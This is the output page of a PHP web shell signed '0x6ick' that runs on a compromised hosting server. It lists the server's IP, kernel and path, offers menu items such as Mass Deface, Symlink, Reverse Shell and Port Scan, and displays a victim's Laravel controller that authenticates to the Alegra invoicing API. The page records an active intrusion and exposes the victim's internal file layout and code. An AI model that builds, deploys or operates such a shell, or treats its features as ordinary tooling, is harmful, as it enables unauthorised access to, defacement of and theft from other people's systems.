Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Http
/
Controllers
/
API
/
Viewing: AlegraController.php
<?php namespace App\Http\Controllers\API; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; class AlegraController extends Controller { protected $baseUrl; protected $headers; public function __construct() { $this->baseUrl = config('alegra.base_url'); $this->headers = [ 'Authorization' => 'Basic ' . base64_encode(config('alegra.user') . ':' . config('alegra.token')), 'Accept' => 'application/json', 'Content-Type' => 'application/json' ]; } public function test() { try { $response = Http::withHeaders($this->headers) ->get($this->baseUrl . '/company'); if ($response->successful()) { return response()->json([ 'success' => true, 'data' => $response->json() ]); } return response()->json([ 'success' => false, 'message' => 'Error en la respuesta de Alegra', 'error' => $response->json() ], $response->status()); } catch (\Exception $e) { return response()->json([ 'success' => false, 'message' => 'Error al conectar con Alegra', 'error' => $e->getMessage() ], 500); } } }
Coded With 💗 by
0x6ick